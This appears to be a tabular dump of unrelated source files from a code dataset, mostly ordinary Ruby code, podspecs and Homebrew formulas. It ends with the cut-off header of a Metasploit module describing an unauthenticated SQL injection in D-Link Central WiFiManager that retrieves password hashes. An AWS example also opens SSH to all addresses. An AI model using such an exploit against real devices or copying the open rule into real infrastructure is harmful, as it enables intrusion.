hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
e2757dc12670d510f4b896d5b0dbaf6f1db1e0cc | 603 | class CreateSpreeBulkDiscounts < ActiveRecord::Migration
def change
create_table :spree_bulk_discounts do |t|
t.string :name
t.references :calculator
t.datetime :deleted_at
t.timestamps
end
add_column :spree_products, :bulk_discount_id, :integer
add_column :spree_line_items, :bulk_discount_total, :decimal, precision: 10, scale: 2, default: 0.0
add_column :spree_shipments, :bulk_discount_total, :decimal, precision: 10, scale: 2, default: 0.0
add_column :spree_orders, :bulk_discount_total, :decimal, precision: 10, scale: 2, default: 0.0
end
end
| 35.470588 | 103 | 0.731343 |
acc429622aeeacd6466450f038a53a0e6d79bd3e | 2,003 | #
# Be sure to run `pod lib lint SIPKeyboardManager.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'SIPKeyboardManager'
s.version = '0.1.2'
s.summary = 'SIPKeyboardManager sends out informations about the current keyboard-frame via delegate.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
The notifications sent by iOS-keyboards can be misleading - willShow-notifications are sent out multiple times with different rects, it might miss sending a notification with the final keyboard-rect at all.
This class tries to handle all the cases and ensure that you will receive the correct keyboard-frame if possible.
DESC
s.homepage = 'https://github.com/parallaxe/SIPKeyboardManager'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Hendrik von Prince' => '[email protected]' }
s.source = { :git => 'https://github.com/parallaxe/SIPKeyboardManager.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '10.0'
s.source_files = 'SIPKeyboardManager/Classes/**/*'
# s.resource_bundles = {
# 'SIPKeyboardManager' => ['SIPKeyboardManager/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 45.522727 | 206 | 0.682976 |
38ab2f67778c317eed1e0e56775f0494ab5b93dc | 5,531 | #snippet-comment:[These are tags for the AWS doc team's sample catalog. Do not remove.]
#snippet-sourceauthor:[Doug-AWS]
#snippet-sourcedescription:[Creates a security group, adds rules to the security group, gets information about security groups, and deletes the security group.]
#snippet-keyword:[Amazon Elastic Compute Cloud]
#snippet-keyword:[authorize_security_group_ingress method]
#snippet-keyword:[create_security_group method]
#snippet-keyword:[delete_security_group method]
#snippet-keyword:[describe_security_groups method]
#snippet-keyword:[Ruby]
#snippet-service:[ec2]
#snippet-sourcetype:[full-example]
#snippet-sourcedate:[2018-03-16]
# Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# This file is licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License. A copy of the
# License is located at
#
# http://aws.amazon.com/apache2.0/
#
# This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
# OF ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
# Demonstrates how to:
# 1. Create a security group.
# 2. Add rules to the security group.
# 3. Get information about security groups.
# 4. Delete the security group.
require 'aws-sdk-ec2' # v2: require 'aws-sdk'
ec2 = Aws::EC2::Client.new(region: 'us-east-1')
security_group_name = "my-security-group"
vpc_id = "VPC-ID" # For example, "vpc-1234ab56".
security_group_created = false # Used later to determine whether it's okay to delete the security group.
# Create a security group.
begin
create_security_group_result = ec2.create_security_group({
group_name: security_group_name,
description: "An example description for my security group.",
vpc_id: vpc_id
})
# Add rules to the security group.
# For example, allow all inbound HTTP and SSH traffic.
ec2.authorize_security_group_ingress({
group_id: create_security_group_result.group_id,
ip_permissions: [
{
ip_protocol: "tcp",
from_port: 80,
to_port: 80,
ip_ranges: [
{
cidr_ip: "0.0.0.0/0",
}
]
},
{
ip_protocol: "tcp",
from_port: 22,
to_port: 22,
ip_ranges: [
{
cidr_ip: "0.0.0.0/0",
}
]
}
]
})
security_group_created = true
rescue Aws::EC2::Errors::InvalidGroupDuplicate
puts "A security group with the name '#{security_group_name}' already exists."
end
# Get information about your security groups.
# This method gets information about an individual IP permission.
# The code is identical for calling ip_permissions and ip_permissions_egress later,
# so making a method out of it to reduce duplicated code.
def describe_ip_permission(ip_permission)
puts "-" * 22
puts "IP Protocol: #{ip_permission.ip_protocol}"
puts "From Port: #{ip_permission.from_port.to_s}"
puts "To Port: #{ip_permission.to_port.to_s}"
if ip_permission.ip_ranges.count > 0
puts "IP Ranges:"
ip_permission.ip_ranges.each do |ip_range|
puts " #{ip_range.cidr_ip}"
end
end
if ip_permission.ipv_6_ranges.count > 0
puts "IPv6 Ranges:"
ip_permission.ipv_6_ranges.each do |ipv_6_range|
puts " #{ipv_6_range.cidr_ipv_6}"
end
end
if ip_permission.prefix_list_ids.count > 0
puts "Prefix List IDs:"
ip_permission.prefix_list_ids.each do |prefix_list_id|
puts " #{prefix_list_id.prefix_list_id}"
end
end
if ip_permission.user_id_group_pairs.count > 0
puts "User ID Group Pairs:"
ip_permission.user_id_group_pairs.each do |user_id_group_pair|
puts " ." * 7
puts " Group ID: #{user_id_group_pair.group_id}"
puts " Group Name: #{user_id_group_pair.group_name}"
puts " Peering Status: #{user_id_group_pair.peering_status}"
puts " User ID: #{user_id_group_pair.user_id}"
puts " VPC ID: #{user_id_group_pair.vpc_id}"
puts " VPC Peering Connection ID: #{user_id_group_pair.vpc_peering_connection_id}"
end
end
end
describe_security_groups_result = ec2.describe_security_groups
describe_security_groups_result.security_groups.each do |security_group|
puts "\n"
puts "*" * (security_group.group_name.length + 12)
puts "Group Name: #{security_group.group_name}"
puts "Group ID: #{security_group.group_id}"
puts "Description: #{security_group.description}"
puts "VPC ID: #{security_group.vpc_id}"
puts "Owner ID: #{security_group.owner_id}"
if security_group.ip_permissions.count > 0
puts "=" * 22
puts "IP Permissions:"
security_group.ip_permissions.each do |ip_permission|
describe_ip_permission(ip_permission)
end
end
if security_group.ip_permissions_egress.count > 0
puts "=" * 22
puts "IP Permissions Egress:"
security_group.ip_permissions_egress.each do |ip_permission|
describe_ip_permission(ip_permission)
end
end
if security_group.tags.count > 0
puts "=" * 22
puts "Tags:"
security_group.tags.each do |tag|
puts " #{tag.key} = #{tag.value}"
end
end
end
# Delete the security group if it was created earlier.
if security_group_created
ec2.delete_security_group({ group_id: create_security_group_result.group_id })
end
| 34.786164 | 161 | 0.692822 |
03a8faa5d0c3dd2e29407b4b6f00017ec0e36131 | 2,244 |
module Archie
module Model
extend ActiveSupport::Concern
included do
attr_reader :password, :current_password
attr_accessor :password_confirmation
validates_presence_of :password, :if => :password_required?
validates_confirmation_of :password, :if => :password_required?
validates_length_of :password, :minimum => 8, :if => :password_required?
end
def valid_password?(pass)
SCrypt::Password.new(self.encrypted_password) == sprintf("%s%s%s", pass, self.password_salt, Archie::Config.pepper)
end
def password=(new_password)
self.password_salt = self.class.generate_password_salt if new_password.present?
@password = new_password
self.encrypted_password = password_digest(@password) if @password.present?
end
def password_confirmation=(new_password_confirmation)
@password_confirmation = new_password_confirmation
end
def skip_confirmation!
# TODO - this is supposed to skip sending confirmation/email validation emails
# in devise. probably remove it..
end
# Update the fields for tracking logins
def update_tracked_fields!(remote_ip)
old_current, new_current = self.current_sign_in_at, Time.now.utc
self.last_sign_in_at = old_current || new_current
self.current_sign_in_at = new_current
old_current, new_current = self.current_sign_in_ip, remote_ip
self.last_sign_in_ip = old_current || new_current
self.current_sign_in_ip = new_current
self.sign_in_count ||= 0
self.sign_in_count += 1
end
private
# Checks whether a password is needed or not. For validations only.
# Passwords are always required if it's a new record, or if the password
# or confirmation are being set somewhere.
def password_required?
(!persisted? || !password.nil? || !password_confirmation.nil?) && invite_token.nil?
end
def password_digest(password)
SCrypt::Password.create("#{@password}#{password_salt}#{Archie::Config.pepper}").to_s
end
module ClassMethods
def generate_password_salt
SecureRandom.urlsafe_base64(15).tr('lIO0', 'sxyz') # borrowed from devise
end
end
end
end
| 31.605634 | 121 | 0.702763 |
ff45079224058a3818b828daef28686bf20d7b72 | 495 | module Stompede
class ErrorFrame
attr_reader :headers
def initialize(exception, headers = {})
@exception = exception
@headers = headers
@headers["content-type"] = "text/plain"
end
def command
:error
end
def body
"#{@exception.class}: #{@exception.message}\n\n#{Array(@exception.backtrace).join("\n")}"
end
def to_str
StompParser::Frame.new("ERROR", headers, body).to_str
end
alias_method :to_s, :to_str
end
end
| 19.8 | 95 | 0.620202 |
08b35aa76275f942b22cd93ab4a430e564fdac66 | 130 | class AddTemplateSubject < ActiveRecord::Migration
def change
add_column :templates, :subject, :string, limit: 200
end
end
| 21.666667 | 55 | 0.761538 |
184659ab564df883cb1bc29cebb00144619f1092 | 1,078 | # frozen_string_literal: true
version = File.read(File.expand_path("../VERSION", __dir__)).strip
date = File.read(File.expand_path("../RELEASE_DATE", __dir__)).strip
Gem::Specification.new do |s|
s.platform = Gem::Platform::RUBY
s.name = "actionfacade"
s.version = version
s.date = date
s.summary = "Action Facade provides a simple interface for data required by view / controller (part of Lightrails)."
s.description = "Action Facade provides a simple interface for data required by view / controller."
s.required_ruby_version = ">= 2.4.0"
s.required_rubygems_version = ">= 1.8.11"
s.license = "MIT"
s.authors = ["Ryo Hashimoto"]
s.email = "[email protected]"
s.homepage = "https://github.com/ryohashimoto/lightrails"
s.files = `git ls-files`.split($/)
s.test_files = s.files.grep(/^test/)
s.add_dependency "bundler", ">= 1.3"
s.add_dependency "activesupport", ">= 5.2"
s.add_development_dependency "rake", ">= 12.3.3"
s.add_development_dependency "test-unit", ">= 3.3"
end
| 34.774194 | 122 | 0.662338 |
b9b047ee5448399e94e910f737c97dbbeb847397 | 2,936 | require_relative '../../spec_helper'
require_lib 'reek/smell_detectors/too_many_instance_variables'
RSpec.describe Reek::SmellDetectors::TooManyInstanceVariables do
let(:config) do
{ Reek::SmellDetectors::TooManyInstanceVariables::MAX_ALLOWED_IVARS_KEY => 2 }
end
it 'reports the right values' do
src = <<-EOS
class Alfa
def bravo
@charlie = @delta = @echo = 1
end
end
EOS
expect(src).to reek_of(:TooManyInstanceVariables,
lines: [1],
context: 'Alfa',
message: 'has at least 3 instance variables',
source: 'string',
count: 3).with_config(config)
end
it 'does not report for non-excessive ivars' do
src = <<-EOS
class Alfa
def bravo
@charlie = @delta = 1
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'has a configurable maximum' do
src = <<-EOS
# :reek:TooManyInstanceVariables: { max_instance_variables: 3 }
class Alfa
def bravo
@charlie = @delta = @echo = 1
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'counts each ivar only once' do
src = <<-EOS
class Alfa
def bravo
@charlie = @delta = 1
@charlie = @delta = 1
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'does not report memoized bravo' do
src = <<-EOS
class Alfa
def bravo
@charlie = @delta = 1
@echo ||= 1
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'does not count ivars across inner classes' do
src = <<-EOS
class Alfa
class Bravo
def charlie
@delta = @echo = 1
end
end
class Hotel
def india
@juliett = 1
end
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'does not count ivars across inner modules and classes' do
src = <<-EOS
class Alfa
class Bravo
def charlie
@delta = @echo = 1
end
end
module Foxtrot
def golf
@hotel = 1
end
end
end
EOS
expect(src).not_to reek_of(:TooManyInstanceVariables).with_config(config)
end
it 'reports excessive ivars across different methods' do
src = <<-EOS
class Alfa
def bravo
@charlie = @delta = 1
end
def golf
@hotel = 1
end
end
EOS
expect(src).to reek_of(:TooManyInstanceVariables).with_config(config)
end
end
| 22.075188 | 82 | 0.556199 |
795df5dfda9d808c86a1c52181b8238f8ff2e372 | 417 | FactoryGirl.define do
factory :group_member do
access_level { GroupMember::OWNER }
group
user
trait(:guest) { access_level GroupMember::GUEST }
trait(:reporter) { access_level GroupMember::REPORTER }
trait(:developer) { access_level GroupMember::DEVELOPER }
trait(:master) { access_level GroupMember::MASTER }
trait(:owner) { access_level GroupMember::OWNER }
end
end
| 29.785714 | 61 | 0.693046 |
217d96d4c5fef79082221fe8bf0f45613f464fed | 939 | module Liquid
# decrement is used in a place where one needs to insert a counter
# into a template, and needs the counter to survive across
# multiple instantiations of the template.
# NOTE: decrement is a pre-decrement, --i,
# while increment is post: i++.
#
# (To achieve the survival, the application must keep the context)
#
# if the variable does not exist, it is created with value 0.
# Hello: {% decrement variable %}
#
# gives you:
#
# Hello: -1
# Hello: -2
# Hello: -3
#
class Decrement < Tag
def initialize(tag_name, markup, tokens)
@variable = markup.strip
super
end
def render(context)
value = context.environments.first[@variable] ||= 0
value = value - 1
context.environments.first[@variable] = value
value.to_s
end
private
end
Template.register_tag('decrement', Decrement)
end
| 23.475 | 72 | 0.620873 |
28fa4ab9e28ce3648bf921d9c143ea6cc1857c38 | 145 | # frozen_string_literal: true
enum1 = 3.times
enum2 = %w[zero um dois].each
puts enum1.class
loop do
puts enum1.next
puts enum2.next
end
| 11.153846 | 29 | 0.724138 |
7adba65b2563a86c9681414f6f194f3a6ba8d390 | 2,109 | class C10t < Formula
desc "Minecraft cartography tool"
homepage "https://github.com/udoprog/c10t"
url "https://github.com/udoprog/c10t/archive/1.7.tar.gz"
sha256 "0e5779d517105bfdd14944c849a395e1a8670bedba5bdab281a0165c3eb077dc"
license "BSD-3-Clause"
revision 1
bottle do
cellar :any
sha256 "15eb238ecc210202a0aa3034005b3da3637f4d5b5a7c9e6904b151d47ece6d47" => :big_sur
sha256 "50bb289bc77fc39bd7fa248be991069cfa63419c8ad74329d3684a965469084d" => :catalina
sha256 "1bdc623e16b1854d4865ce29e7fb6e0724262ea2b998111c6ab908b5dbd5af17" => :mojave
sha256 "ad850802e7b161e55c19bcb89d2af5a10a536574bf25a1c45a2693299d6182d2" => :high_sierra
sha256 "fbfab463dd8a2af17bb3b8d07d448d8411f9393d98b1b35f6862a7dc92da7c82" => :sierra
end
depends_on "cmake" => :build
depends_on "boost"
depends_on "freetype"
# Needed to compile against newer boost
# Can be removed for the next version of c10t after 1.7
# See: https://github.com/udoprog/c10t/pull/153
patch do
url "https://github.com/udoprog/c10t/commit/4a392b9f06d08c70290f4c7591e84ecdbc73d902.patch?full_index=1"
sha256 "7197435e9384bf93f580fab01097be549c8c8f2c54a96ba4e2ae49a5d260e297"
end
# Fix freetype detection; adapted from this upstream commit:
# https://github.com/udoprog/c10t/commit/2a2b8e49d7ed4e51421cc71463c1c2404adc6ab1
patch do
url "https://gist.githubusercontent.com/mistydemeo/f7ab02089c43dd557ef4/raw/a0ae7974e635b8ebfd02e314cfca9aa8dc95029d/c10t-freetype.diff"
sha256 "9fbb7ccc643589ac1d648e105369e63c9220c26d22f7078a1f40b27080d05db4"
end
# Ensure zlib header is included for libpng; fixed upstream
patch do
url "https://github.com/udoprog/c10t/commit/800977bb23e6b4f9da3ac850ac15dd216ece0cda.patch?full_index=1"
sha256 "c7a37f866b42ff352bb58720ad6c672cde940e1b8ab79de4b6fa0be968b97b66"
end
def install
inreplace "test/CMakeLists.txt", "boost_unit_test_framework", "boost_unit_test_framework-mt"
system "cmake", ".", *std_cmake_args
system "make"
bin.install "c10t"
end
test do
system "#{bin}/c10t", "--list-colors"
end
end
| 39.055556 | 140 | 0.79137 |
1170e30179423b26bd05c4a4c31c36778470140e | 1,203 | # -*- encoding: utf-8 -*-
# frozen_string_literal: true
require File.expand_path('lib/redis/deque', __dir__)
Gem::Specification.new do |s|
s.name = 'redis-deque'
s.version = Redis::Deque::VERSION
s.authors = ['Jaakko Rinta-Filppula', 'Francesco Laurita']
s.email = ['[email protected]', '[email protected]']
s.homepage = 'https://github.com/tophattom/redis-deque'
s.summary = 'A distributed deque based on Redis'
s.description = '
Adds Redis::Deque class which can be used as Distributed-Deque based on Redis.
Redis is often used as a messaging server to implement processing of background jobs or other kinds of messaging tasks.
It implements Reliable-queue pattern decribed here: http://redis.io/commands/rpoplpush
'
s.licenses = ['MIT']
s.rubyforge_project = 'redis-deque'
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map { |f| File.basename(f) }
s.require_paths = ['lib']
s.add_runtime_dependency 'redis', '>= 3.3.5', '< 5'
s.add_development_dependency 'rspec', '~> 2.13', '>= 2.13.0'
end
| 37.59375 | 123 | 0.659185 |
3383a3a5c8aaef78f6164f57a083122e9148d94a | 3,819 | class DialogImportService
class ImportNonYamlError < StandardError; end
class ParsedNonDialogYamlError < StandardError; end
def initialize(dialog_field_importer = DialogFieldImporter.new, dialog_import_validator = DialogImportValidator.new)
@dialog_field_importer = dialog_field_importer
@dialog_import_validator = dialog_import_validator
end
def cancel_import(import_file_upload_id)
import_file_upload = ImportFileUpload.find(import_file_upload_id)
destroy_queued_deletion(import_file_upload.id)
import_file_upload.destroy
end
def import_from_file(filename)
dialogs = YAML.load_file(filename)
begin
dialogs.each do |dialog|
if dialog_with_label?(dialog["label"])
yield dialog if block_given?
else
Dialog.create(dialog.merge("dialog_tabs" => build_dialog_tabs(dialog)))
end
end
rescue DialogFieldImporter::InvalidDialogFieldTypeError
raise
rescue
raise ParsedNonDialogYamlError
end
end
def import_all_service_dialogs_from_yaml_file(filename)
dialogs = YAML.load_file(filename)
import_from_dialogs(dialogs)
end
def import_service_dialogs(import_file_upload, dialogs_to_import)
unless dialogs_to_import.nil?
dialogs = YAML.load(import_file_upload.uploaded_content)
dialogs = dialogs.select do |dialog|
dialogs_to_import.include?(dialog["label"])
end
import_from_dialogs(dialogs)
end
destroy_queued_deletion(import_file_upload.id)
import_file_upload.destroy
end
def store_for_import(file_contents)
import_file_upload = create_import_file_upload(file_contents)
@dialog_import_validator.determine_validity(import_file_upload)
import_file_upload
ensure
queue_deletion(import_file_upload.id)
end
def build_dialog_tabs(dialog)
dialog["dialog_tabs"].collect do |dialog_tab|
DialogTab.create(dialog_tab.merge("dialog_groups" => build_dialog_groups(dialog_tab)))
end
end
def build_dialog_groups(dialog_tab)
dialog_tab["dialog_groups"].collect do |dialog_group|
DialogGroup.create(dialog_group.merge("dialog_fields" => build_dialog_fields(dialog_group)))
end
end
def build_dialog_fields(dialog_group)
dialog_group["dialog_fields"].collect do |dialog_field|
dialog_field["options"].try(:symbolize_keys!)
@dialog_field_importer.import_field(dialog_field)
end
end
def import(dialog)
@dialog_import_validator.determine_dialog_validity(dialog)
new_dialog = Dialog.create(dialog.except('dialog_tabs'))
new_dialog.update!(dialog.merge('dialog_tabs' => build_dialog_tabs(dialog)))
new_dialog
end
private
def create_import_file_upload(file_contents)
ImportFileUpload.create.tap do |import_file_upload|
import_file_upload.store_binary_data_as_yml(file_contents, "Service dialog import")
end
end
def import_from_dialogs(dialogs)
raise ParsedNonDialogYamlError if dialogs.empty?
dialogs.each do |dialog|
new_or_existing_dialog = Dialog.where(:label => dialog["label"]).first_or_create
new_or_existing_dialog.update_attributes(dialog.merge("dialog_tabs" => build_dialog_tabs(dialog)))
end
rescue DialogFieldImporter::InvalidDialogFieldTypeError
raise
end
def dialog_with_label?(label)
Dialog.where("label" => label).exists?
end
def destroy_queued_deletion(import_file_upload_id)
MiqQueue.unqueue(
:class_name => "ImportFileUpload",
:instance_id => import_file_upload_id,
:method_name => "destroy"
)
end
def queue_deletion(import_file_upload_id)
MiqQueue.put(
:class_name => "ImportFileUpload",
:instance_id => import_file_upload_id,
:deliver_on => 1.day.from_now,
:method_name => "destroy"
)
end
end
| 29.376923 | 118 | 0.749935 |
62b1186fb2dadfd1b541de99f8b6dbbd0c6d27b7 | 151 | require 'test/unit'
class ActsAsParentOfTest < Test::Unit::TestCase
# Replace this with your real tests.
def test_this_plugin
flunk
end
end
| 16.777778 | 47 | 0.741722 |
b97eece1e11d091fa0cf0bf03c41e7742979159d | 271 | # Don't forget! This file needs to be 'required' in its spec file
# See README.md for instructions on how to do this
def fizzbuzz(int)
if int % 3 == 0
"Fizz"
elsif int % 5 == 0
"Buzz"
elsif int % 5 == 0 && int % 3 == 0
"FizzBuzz"
else
"nil"
end | 20.846154 | 65 | 0.586716 |
f7db2007c23a2fe9388879318d7914fe70c3da25 | 2,259 | class ImagemagickAT6 < Formula
desc "Tools and libraries to manipulate images in many formats"
homepage "https://www.imagemagick.org/"
# Please always keep the Homebrew mirror as the primary URL as the
# ImageMagick site removes tarballs regularly which means we get issues
# unnecessarily and older versions of the formula are broken.
url "https://dl.bintray.com/homebrew/mirror/imagemagick%406--6.9.10-56.tar.xz"
mirror "https://www.imagemagick.org/download/ImageMagick-6.9.10-56.tar.xz"
sha256 "d62bd1c0197581ee29b7e408cd09ceb0546dde6707bd739cd5d267dedf11d91e"
head "https://github.com/imagemagick/imagemagick6.git"
bottle do
sha256 "d23c3796e4f7814437864856d2d168d66fd2676115459455dc61d0264daea340" => :mojave
sha256 "cbc420ed5fe0a6a701268adbe06ce21625d8bfa91b742b9d9d072eb524f80ab5" => :high_sierra
sha256 "e34ff7b08faabad8b0e519d3032b59f683588502454399721400b906c95d9afc" => :sierra
end
keg_only :versioned_formula
depends_on "pkg-config" => :build
depends_on "freetype"
depends_on "jpeg"
depends_on "libpng"
depends_on "libtiff"
depends_on "libtool"
depends_on "little-cms2"
depends_on "openjpeg"
depends_on "webp"
depends_on "xz"
skip_clean :la
def install
args = %W[
--disable-osx-universal-binary
--prefix=#{prefix}
--disable-dependency-tracking
--disable-silent-rules
--disable-opencl
--disable-openmp
--enable-shared
--enable-static
--with-freetype=yes
--with-modules
--with-webp=yes
--with-openjp2
--without-gslib
--with-gs-font-dir=#{HOMEBREW_PREFIX}/share/ghostscript/fonts
--without-fftw
--without-pango
--without-x
--without-wmf
]
# versioned stuff in main tree is pointless for us
inreplace "configure", "${PACKAGE_NAME}-${PACKAGE_VERSION}", "${PACKAGE_NAME}"
system "./configure", *args
system "make", "install"
end
test do
assert_match "PNG", shell_output("#{bin}/identify #{test_fixtures("test.png")}")
# Check support for recommended features and delegates.
features = shell_output("#{bin}/convert -version")
%w[Modules freetype jpeg png tiff].each do |feature|
assert_match feature, features
end
end
end
| 31.816901 | 93 | 0.711377 |
332941387057587d8f3f2a3760a240c916cf8cb2 | 1,266 | require 'hubspot/events_api'
module Resque
module TrackingJobs
module SendSegmentEvent
ANONYMOUS_SEGMENT_USER_ID = '00000000-0000-0000-0000-000000000000'.freeze
@queue = :tracker
def self.perform(user_id, name, properties)
return unless segment_api_key = Cartodb.get_config(:segment, 'api_key')
segment = Segment::Analytics.new(write_key: segment_api_key)
segment.track(user_id: user_id || ANONYMOUS_SEGMENT_USER_ID, event: name, properties: properties)
segment.flush
rescue => exception
CartoDB::Logger.warning(message: 'Can\'t report to Segment',
exception: exception,
event: name,
properties: properties)
end
end
module SendHubspotEvent
@queue = :tracker
def self.perform(id, params)
events_api = ::Hubspot::EventsAPI.instance
return unless events_api.enabled?
code, body = events_api.report(id, params: params)
unless code == '200' && body.present?
message = 'Carto::Tracking: Hubspot service error'
CartoDB::Logger.error(message: message, event_id: id, params: params)
end
end
end
end
end
| 30.878049 | 105 | 0.623223 |
5d9af38fa1c0ba94100fc79222e1e99258113035 | 1,016 | class Fonttools < Formula
include Language::Python::Virtualenv
desc "Library for manipulating fonts"
homepage "https://github.com/fonttools/fonttools"
url "https://github.com/fonttools/fonttools/releases/download/3.4.0/fonttools-3.4.0.zip"
sha256 "12949c451af8db545e8a239f54312eb7b37977a0b946a85bcbbc28f8fcc1a4d7"
head "https://github.com/fonttools/fonttools.git"
bottle do
cellar :any_skip_relocation
sha256 "4a7d2d6e3eb97cb360b3c00d4406faad2e6de5f414a4f9ad3175115be01f9062" => :sierra
sha256 "76a2a12377583a7ae2f43d7bffb1dd56c350adcffcfe58a63558a0394f4d4a73" => :el_capitan
sha256 "10d261359af40f0f04bb505c61e99509526df0ff583351970a30cee824597b9c" => :yosemite
end
option "with-pygtk", "Build with pygtk support for pyftinspect"
depends_on :python if MacOS.version <= :snow_leopard
depends_on "pygtk" => :optional
def install
virtualenv_install_with_resources
end
test do
cp "/Library/Fonts/Arial.ttf", testpath
system bin/"ttx", "Arial.ttf"
end
end
| 32.774194 | 92 | 0.781496 |
1afb8f9c37c4f59153df0473c45fb6604393d9c7 | 1,015 | # frozen_string_literal: true
require 'cfn-nag/violation'
require 'cfn-nag/util/enforce_reference_parameter'
require 'cfn-nag/util/enforce_string_or_dynamic_reference'
require_relative 'base'
class AlexaASKSkillAuthenticationConfigurationRefreshTokenRule < BaseRule
def rule_text
'Alexa ASK Skill AuthenticationConfiguration RefreshToken must not be ' \
'a plaintext string or a Ref to a NoEcho Parameter with a Default value.'
end
def rule_type
Violation::FAILING_VIOLATION
end
def rule_id
'F75'
end
def audit_impl(cfn_model)
ask_skills = cfn_model.resources_by_type('Alexa::ASK::Skill')
violating_skills = ask_skills.select do |skill|
refresh_token = skill.authenticationConfiguration['RefreshToken']
if refresh_token.nil?
false
else
insecure_parameter?(cfn_model, refresh_token) ||
insecure_string_or_dynamic_reference?(cfn_model, refresh_token)
end
end
violating_skills.map(&:logical_resource_id)
end
end
| 27.432432 | 79 | 0.752709 |
ff526c73168a89423edfce879e0c34e36a4e7137 | 298 | class CreateLinkedProductsJoinTable < ActiveRecord::Migration
def change
create_join_table :products, :linked_products do |t|
# t.index [:product_id, :linked_product_id]
t.index [:product_id, :linked_product_id], unique: true, name: 'linked_products_by_product'
end
end
end
| 33.111111 | 97 | 0.744966 |
6aa2ee11efb2a0a5f71b62e4bb038ad3edf9926a | 3,047 | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
RUBY_1_8 = defined?(RUBY_VERSION) && RUBY_VERSION < '1.9'
JRUBY = defined?(JRUBY_VERSION)
if RUBY_1_8 and not ENV['BUNDLE_GEMFILE']
require 'rubygems'
gem 'test-unit'
end
if ENV['COVERAGE'] && ENV['CI'].nil? && !RUBY_1_8
require 'simplecov'
SimpleCov.start { add_filter "/test|test_/" }
end
if ENV['CI'] && !RUBY_1_8
require 'simplecov'
require 'simplecov-rcov'
SimpleCov.formatter = SimpleCov::Formatter::RcovFormatter
SimpleCov.start { add_filter "/test|test_" }
end
require 'ansi'
require 'test/unit' if RUBY_1_8
require 'minitest/autorun'
require 'minitest/reporters'
require 'shoulda/context'
require 'mocha/minitest'
Minitest::Reporters.use! Minitest::Reporters::SpecReporter.new
require 'require-prof' if ENV["REQUIRE_PROF"]
require 'elasticsearch/api'
RequireProf.print_timing_infos if ENV["REQUIRE_PROF"]
if defined?(RUBY_VERSION) && RUBY_VERSION > '1.9'
require 'elasticsearch/extensions/test/cluster'
require 'elasticsearch/extensions/test/startup_shutdown'
require 'elasticsearch/extensions/test/profiling' unless JRUBY
end
module Minitest
module Assertions
def assert_nothing_raised(*args)
begin
line = __LINE__
yield
rescue RuntimeError => e
raise MiniTest::Assertion, "Exception raised:\n<#{e.class}>", e.backtrace
end
true
end
def assert_not_nil(object, msg=nil)
msg = message(msg) { "<#{object.inspect}> expected to not be nil" }
assert !object.nil?, msg
end
def assert_block(*msgs)
assert yield, *msgs
end
alias :assert_raise :assert_raises
end
end
module Elasticsearch
module Test
class UnitTest < ::Minitest::Test; end
class FakeClient
include Elasticsearch::API
def perform_request(method, path, params, body, headers={"Content-Type" => "application/json"})
puts "PERFORMING REQUEST:", "--> #{method.to_s.upcase} #{path} #{params} #{body} #{headers}"
FakeResponse.new(200, 'FAKE', {})
end
end
FakeResponse = Struct.new(:status, :body, :headers) do
def status
values[0] || 200
end
def body
values[1] || '{}'
end
def headers
values[2] || {}
end
end
class NotFound < StandardError; end
end
end
| 27.7 | 101 | 0.698064 |
7a3be1029fe4a0faa03fe153478c59b7eae43a7d | 134 | require 'spec_helper'
RSpec.describe ShittyQl do
it "has a version number" do
expect(ShittyQl::VERSION).not_to be nil
end
end
| 19.142857 | 43 | 0.746269 |
28bf1b83decb27a4c8cff93de770b36e5e8cbe70 | 6,447 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'csv'
require 'digest'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFiManager SQL injection',
'Description' => %q{
This module exploits a SQLi vulnerability found in
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
vulnerability is an exposed API endpoint that allows the execution
of SQL queries without authentication, using this vulnerability, it's
possible to retrieve usernames and password hashes of registered users,
device configuration, and other data, it's also possible to add users,
or edit database informations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'M3@ZionLab from DBAppSecurity',
